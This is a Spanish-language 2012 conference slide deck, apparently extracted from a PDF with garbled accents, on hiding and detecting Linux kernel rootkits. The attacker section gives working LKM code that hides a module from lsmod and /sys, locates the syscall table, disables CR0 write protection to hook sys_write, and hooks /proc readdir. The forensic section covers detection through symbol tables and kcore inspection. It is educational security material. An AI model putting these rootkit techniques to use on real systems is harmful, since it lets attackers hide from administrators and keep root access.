El documento describe diferentes métodos para ocultar y encontrar rootkits en Linux. Explica cómo un atacante puede ocultar procesos y archivos modificando las estructuras del kernel como task_struct y la tabla de syscalls. También cubre técnicas de detección forense como analizar la memoria del kernel y buscar anomalías en las estructuras modificadas.

1. Hide and Find Rootkits in Linux
Hide and Find Rootkits in Linux
Forensics and Attack Strategies
NataS::: The Lord of Chaos
Marcos Ricardo Schejtman Rubio
20 de Abril de 2012

2. Hide and Find Rootkits in Linux
Contents
1 Introducci´n
o
Definiciones
Tipos de Rootkits
Funciones Comunes de Rootkits
2 La perspectiva del Atacante
M´todos de Ataque
e
Kernel Hacking
task struct modification
3 La Perspectiva Forense
M´todos de Detecci´n
e o
4 The End

3. Hide and Find Rootkits in Linux
Introducci´n
o
Definiciones
Introducci´n
o
1 Introducci´n
o
Definiciones
Tipos de Rootkits
Funciones Comunes de Rootkits
2 La perspectiva del Atacante
M´todos de Ataque
e
Kernel Hacking
task struct modification
3 La Perspectiva Forense
M´todos de Detecci´n
e o
4 The End

4. Hide and Find Rootkits in Linux
Introducci´n
o
Definiciones
¿Qu´ es un Rootkit?
e
Un rootkit (seg´n Wikipedia), se puede definir como:
u
Un programa que permite un acceso de privilegio
continuo a una computadora pero que mantiene su
presencia activamente oculta al control de los
administradores al corromper el funcionamiento normal
del sistema operativo o de otras aplicaciones.

5. Hide and Find Rootkits in Linux
Introducci´n
o
Tipos de Rootkits
Tipos de Rootkits
Practicamente podemos hablar de dos tipos de rootkits:
1 Rootkits en Espacio de Usuario, Los cuales corren en
Ring-3, y modifican librer´ o archivos de configuraci´n, e
ıas, o
inclusive ejecutables (ls, ps, etc).
2 Rootkits en Espacio de Kernel, Los cuales corren en
Ring-0, y modifican estructuras del kernel, atrapan llamadas
de sistema (hijacking syscall-table), etc. Podemos tenerlos
como LKM’s o como patch al kernel corriendo /dev/kmem

6. Hide and Find Rootkits in Linux
Introducci´n
o
Funciones Comunes de Rootkits
Funciones Comunes de Rootkits
Esconder Procesos
Esconder Archivos
Esconder Conexiones de Red
Backdoors
Keyloggers
Darnos acceso a root

7. Hide and Find Rootkits in Linux
La perspectiva del Atacante
M´todos de Ataque
e
Introducci´n
o
1 Introducci´n
o
Definiciones
Tipos de Rootkits
Funciones Comunes de Rootkits
2 La perspectiva del Atacante
M´todos de Ataque
e
Kernel Hacking
task struct modification
3 La Perspectiva Forense
M´todos de Detecci´n
e o
4 The End

8. Hide and Find Rootkits in Linux
La perspectiva del Atacante
M´todos de Ataque
e
M´todos de Ataque
e
Modificaci´n de las estructuras de datos (la misma que
o
contiene los procesos corriendo en el sistema actualmente).
Interceptando las llamadas a sistema mediante la modificaci´n
o
de la tabla de llamadas o del handler de cierta syscall
(Dinamyc or Static Hijacking).
Interrupt Hooking, modificando la tabla de descriptores de las
interrupciones (IDT) 0x80.
Modificando la memoria del kernel (/dev/kmem).
Interceptando el manejo de llamadas del VFS (/proc /sys)
Virtual Memory Subversion, un ataque novedoso para
presentar vistas de la memoria de los procesos.

9. Hide and Find Rootkits in Linux
La perspectiva del Atacante
Kernel Hacking
Introducci´n
o
1 Introducci´n
o
Definiciones
Tipos de Rootkits
Funciones Comunes de Rootkits
2 La perspectiva del Atacante
M´todos de Ataque
e
Kernel Hacking
task struct modification
3 La Perspectiva Forense
M´todos de Detecci´n
e o
4 The End

10. Hide and Find Rootkits in Linux
La perspectiva del Atacante
Kernel Hacking
Escondiendo desde el Kernel
The Ring Model Intel tiene cuatro anillos
MS Windows y otros,
manejan solo dos.
Usando solo dos niveles de
privilegios, no hay separaci´n
o
entre el kernel y los drivers
(root es tambi´n ring-3).
e
Los drivers pueden modificar
la memoria asociada con
objetos del kernel... tales
como aquellos que
representan un proceso.

11. Hide and Find Rootkits in Linux
La perspectiva del Atacante
Kernel Hacking
Introduciendo al LKM
Las comunicaciones entre el espacio de usuario (ring-3), y el
espacio del kernel (ring-0), se hacen mediante archivos.
Debido al punto anterior, existe y conocemos /proc, /sys,
/dev. Dichos directorios solo existen en RAM.
Llamadas a sistemas, est´n guardadas en una tabla especial
a
(sys call table).

12. Hide and Find Rootkits in Linux
La perspectiva del Atacante
Kernel Hacking
Consideraciones
Las diferencias m´s importantes entre un desarrollo a n´ kernel o
a ıvel
espacio usuario son:
El kernel carece de protecci´n de memoria... algo que se
o
ofrece en el espacio de usuario.
El kernel no puede ejecutar de manera sencilla operaciones en
punto flotante.
El kernel tiene un espacio en pila muy reducido por proceso.
Debido a la naturaleza as´ıncrona de las interrupciones del
kernel, la concurrencia es de los temas a poner mas ´nfasis al
e
desarrollar (Race-Conditions).
La potabilidad... entre versi´n y versi´n de n´cleo.
o o u

13. Hide and Find Rootkits in Linux
La perspectiva del Atacante
Kernel Hacking
Hidding the Module
El kernel maneja un lista enlazada en la cual, mantiene la
referencia de todos los m´dulos que est´n cargados (lsmod y
o a
/proc leen dicha lista).
Esconder nuestro m´dulo es muy sencillo, en la funci´n de
o o
inicio del m´dulo basta con eliminar la referencia de la lista:
o
list_del(&THIS_MODULE->list);
Dos problemas con esta primer aproximaci´n:
o
1 A´n somos detectables desde /sys
u
2 Al hacer un unload del m´dulo, debido a que no existe en la
o
lista, se provoca un Oops que genera un kernel panic o crash
del sistema, dejando rastros.

14. Hide and Find Rootkits in Linux
La perspectiva del Atacante
Kernel Hacking
Hidding the Module
Cada entrada en /sys es un objeto module kobject (definido
en module.h) que internamente tienen una estructura del tipo
kobject (definido en kobject.h).
Examinando el c´digo del kernel, vemos que en la descarga del
o
m´dulo, primero debemos eliminarnos de /sys y
o
posteriormente de la vista.
Hay que tomar en cuenta, que el kernel no libera objetos que
est´n iniciado a NULL
e
Recomendaciones:
1 Recordar informaci´n previa (prev y next en la lista).
o
2 Sobreescribir readproc y writeproc
3 Funciones est´ticas para no dejar rastros en /proc/kallsyms
a

15. Hide and Find Rootkits in Linux
La perspectiva del Atacante
Kernel Hacking
Hidding the Module: A little taste
static inline void natas_hide(void) {
list_del(&THIS_MODULE->list);
kobject_del(&THIS_MODULE->mkobj.kobj);
list_del(&THIS_MODULE->mkobj.kobj.entry);
kfree(THIS_MODULE->notes_attrs);
THIS_MODULE->notes_attrs = NULL;
kfree(THIS_MODULE->sect_attrs);
THIS_MODULE->sect_attrs = NULL;
kfree(THIS_MODULE->mkobj.mp);
THIS_MODULE->mkobj.mp = NULL;
THIS_MODULE->modinfo_attrs->attr.name = NULL;
kfree(THIS_MODULE->mkobj.drivers_dir);
THIS_MODULE->mkobj.drivers_dir = NULL;
}
static int __init natas_init(void) {
/*Inicializaciones del modulo*/
...
natas_hide();
return 0;
}
module_init(natas_init);

16. Hide and Find Rootkits in Linux
La perspectiva del Atacante
task struct modification
Introducci´n
o
1 Introducci´n
o
Definiciones
Tipos de Rootkits
Funciones Comunes de Rootkits
2 La perspectiva del Atacante
M´todos de Ataque
e
Kernel Hacking
task struct modification
3 La Perspectiva Forense
M´todos de Detecci´n
e o
4 The End

17. Hide and Find Rootkits in Linux
La perspectiva del Atacante
task struct modification
task struct modification: Overview
El kernel de linux contiene una lista enlazada (definida en
include/linux/types.h e include/linux/list.h) de tareas, las cuales
son una estructura declarada en include/linux/sched.h.

18. Hide and Find Rootkits in Linux
La perspectiva del Atacante
task struct modification
task struct modification: Hidding
Esconder un proceso no es m´s que eliminar la tarea de los
a
punteros prev y next de la lista tasks.

19. Hide and Find Rootkits in Linux
La perspectiva del Atacante
task struct modification
task struct modification: Issues
La eliminaci´n de las referencias en next y prev, ocasionan que
o
el scheduler no vea el proceso que escondimos.
Si el scheduler no ve el proceso, no le asigna tiempo de CPU,
ocasionando que la tarea se congele.
Adicional, es preciso modificar el scheduler para que asigne
tiempo al proceso padre del PID 0 (init).
¿Es posible encontrar el proceso? S´ Usando gdb, conociendo
ı.
nuestra arquitectura y cuanto pesa nuestra task struct. A partir de
ah´ y haciendo uso de System.map, /dev/kcore y la imagen es
ı
posible recrear la tabla de procesos.

20. Hide and Find Rootkits in Linux
La perspectiva del Atacante
task struct modification
Hijacking Syscall
Interrupciones a llamadas de sistema se usan para evitar accesos a
procesos o archivos generados por nosotros.
syscall natas_open(pathname, flags, mode) {
if (XXX==XXX)
call open(pathname, flags, mode)
else
printf("Not found");
}

21. Hide and Find Rootkits in Linux
La perspectiva del Atacante
task struct modification
Dinamyc Hijacking
La direcci´n de la sys call table, puede ser encontrada en el archivo
o
System.map-$(uname -r) ¿Que ocurre cuando ya no existe ese
archivo?
El rango de memoria del kernel en arquitecturas X86 es del
0xc0000000 al 0xffffffff. Ahora bien, para encontrar la sys call table
basta con buscar hasta la 0xd0000000 ¿porque?
CONFIG HIGHMEM.
Para x86 64 podemos encontrar el inicio de la memoria del kernel
en 0xffffffff81000000 y de ahi podemos iterar hasta 0xffffffffffffffff,
es de destacar que igual que en la arquitectura de 32Bits, no
debemos iterar todas las direcciones, basta iterar hasta
0xffffffff81ffffff.
Finalmente... solo basta comparar alguna sys call cuyos s´
ımbolos se
exporten, sys close por ejemplo.

22. Hide and Find Rootkits in Linux
La perspectiva del Atacante
task struct modification
Dinamyc Hijacking
#if defined __x86_64__
#define START_MEM 0xffffffff81000000
#define END_MEM 0xffffffff81ffffff
#else
#define START_MEM 0xc0000000
#define END_MEM 0xd0000000
#endif
unsigned long **find_syscalltable() {
unsigned long **syscalltable;
unsigned long int i = START_MEM;
while ( i < END_MEM) {
sctable = (unsigned long **)i;
if ( syscalltable[__NR_close] == (unsigned long *)sys_close) {
return &syscalltable[0];
}
i += sizeof(void *);
}
return NULL;
}

23. Hide and Find Rootkits in Linux
La perspectiva del Atacante
task struct modification
Dinamyc Hijacking
Pero la sys call table esta protegida contra escritura ¿o no? Existen
diferentes registros de procesador, el que nos interesa es el cr0. El
kernel nos da dos funciones para manipular este registro: write cr0
y read cr0.
El Bit 0 de este registro maneja el Protected Mode, por ello se
llama WP bit. Solo basta modificar este bit antes y despu´s del
e
hijacking
write_cr0 (read_cr0 () & (~ 0x10000));
printk(KERN_ALERT "nWrite Protection Disabled XD");
original_write = (void *)syscall_table[__NR_write];
syscall_table[__NR_write] = new_write;
write_cr0 (read_cr0 () | 0x10000);
printk(KERN_ALERT "nWrite Protection Enabled");
/*
0X10000 --> 000...010000000000000000
~(0X10000) --> 111...101111111111111111
*/

24. Hide and Find Rootkits in Linux
La perspectiva del Atacante
task struct modification
Hijacking VFS
Interrupciones a llamadas de sistema se usan para evitar accesos a
procesos o archivos generados por nosotros.
syscall natas_lookup(parent_directory,
pathname, ...) {
if (XXX==XXX)
call real_lookup(parent_directory,
pathname, ...)
else
printf("Error");
}

25. Hide and Find Rootkits in Linux
La perspectiva del Atacante
task struct modification
Hijacking VFS
struct inode *pinode;
const struct file_operations *proc_original;
static struct file_operations proc_fops;
void hook_proc(struct proc_dir_entry *root) {
struct path proc_path;
if (kern_path("/proc/",0,&proc_path))
return;
pinode = proc_path.dentry->d_inode;
if(!pinode)
return;
proc_fops = *pinode->i_fop;
proc_original = pinode->i_fop;
proc_fops.readdir = natas_lookup;
pinode->i_fop = &proc_fops;
}

26. Hide and Find Rootkits in Linux
La Perspectiva Forense
M´todos de Detecci´n
e o
Introducci´n
o
1 Introducci´n
o
Definiciones
Tipos de Rootkits
Funciones Comunes de Rootkits
2 La perspectiva del Atacante
M´todos de Ataque
e
Kernel Hacking
task struct modification
3 La Perspectiva Forense
M´todos de Detecci´n
e o
4 The End

27. Hide and Find Rootkits in Linux
La Perspectiva Forense
M´todos de Detecci´n
e o
M´todos de Detecci´n
e o
Comparando la tabla de S´ ımbolos, Cada cierto tiempo se
realizar comparaciones con la tabla de Sistema original
(System.map) con la actual tabla.
An´lisis de Binarios, desde m´todos tan sencillos como
a e
constantes revisiones de la suma MD5, hasta utilizaci´n de
o
trazas y visualizaci´n de estructuras de datos sobre el kernel.
o
An´lisis del Path de Ejecuci´n, Un rotkit modifica el
a o
camino de ejecuci´n de una llamada a sistema
o

28. Hide and Find Rootkits in Linux
La Perspectiva Forense
M´todos de Detecci´n
e o
Path Analysis

29. Hide and Find Rootkits in Linux
La Perspectiva Forense
M´todos de Detecci´n
e o
M´todos de Detecci´n
e o
root@alien-natas:~# dmesg | grep -i task
[ 3.082767] registered taskstats version 1
[ 251.622695] My task_struct --> 1048
root@alien-natas:~# grep init_task /boot/System.map-3.2.0-1-686-pae | grep D
c13d8fe0 D init_task
root@alien-natas:~# gdb /boot/vmlinuz-3.2.0-1-686-pae /proc/kcore
Core was generated by ‘BOOT_IMAGE=/vmlinuz-3.2.0-1-686-pae
root=/dev/mapper/sda2_crypt ro single’.
#0 0x00000000 in ?? ()
(gdb) x/262wx 0xc13d8fe0
0xc13d8fe0: 0x00000000 0xc13d2000 0x00000002 0x00200000
0xc13d8ff0: 0x00000000 0x00000000 0x00000001 0x00000000
0xc13d9000: 0x00000078 0x00000078 0x00000078 0x00000000
0xc13d9010: 0xc12c3404 0x00000400 0x00400000 0x00000000
0xc13d9020: 0x00000000 0x00000000 0xc13d9028 0xc13d9028
0xc13d9030: 0x00000000 0x00000000 0x00000000 0x00000000
0xc13d9040: 0x00000000 0x00000000 0x00000000 0x00000000
0xc13d9050: 0x00000000 0x00000000 0x00000000 0x00000000
0xc13d9060: 0xf7607a04 0x00000000 0xc13d9068 0xc13d9068
0xc13d9070: 0x00000000 0x000000fa 0x00000001 0x00000000
0xc13d9080: 0x00000000 0x00000000 0x00000000 0x00000000

30. Hide and Find Rootkits in Linux
The End
Greetings
Gr33tz!!
@nitr0usmx @preth00nker
@ hkm @ tty0
@calderpwn @psymera
@ch1rx @napa topos
—————————————————————————–
Autor: Marcos Ricardo Schejtman Rubio
E-Mail: natashell@esdebian.org
Twitter: @natashell666
5EBD 2AEB 5618 4F0C D62C 89D8 C59B 834A 4E19 1537
A
LTEX para todos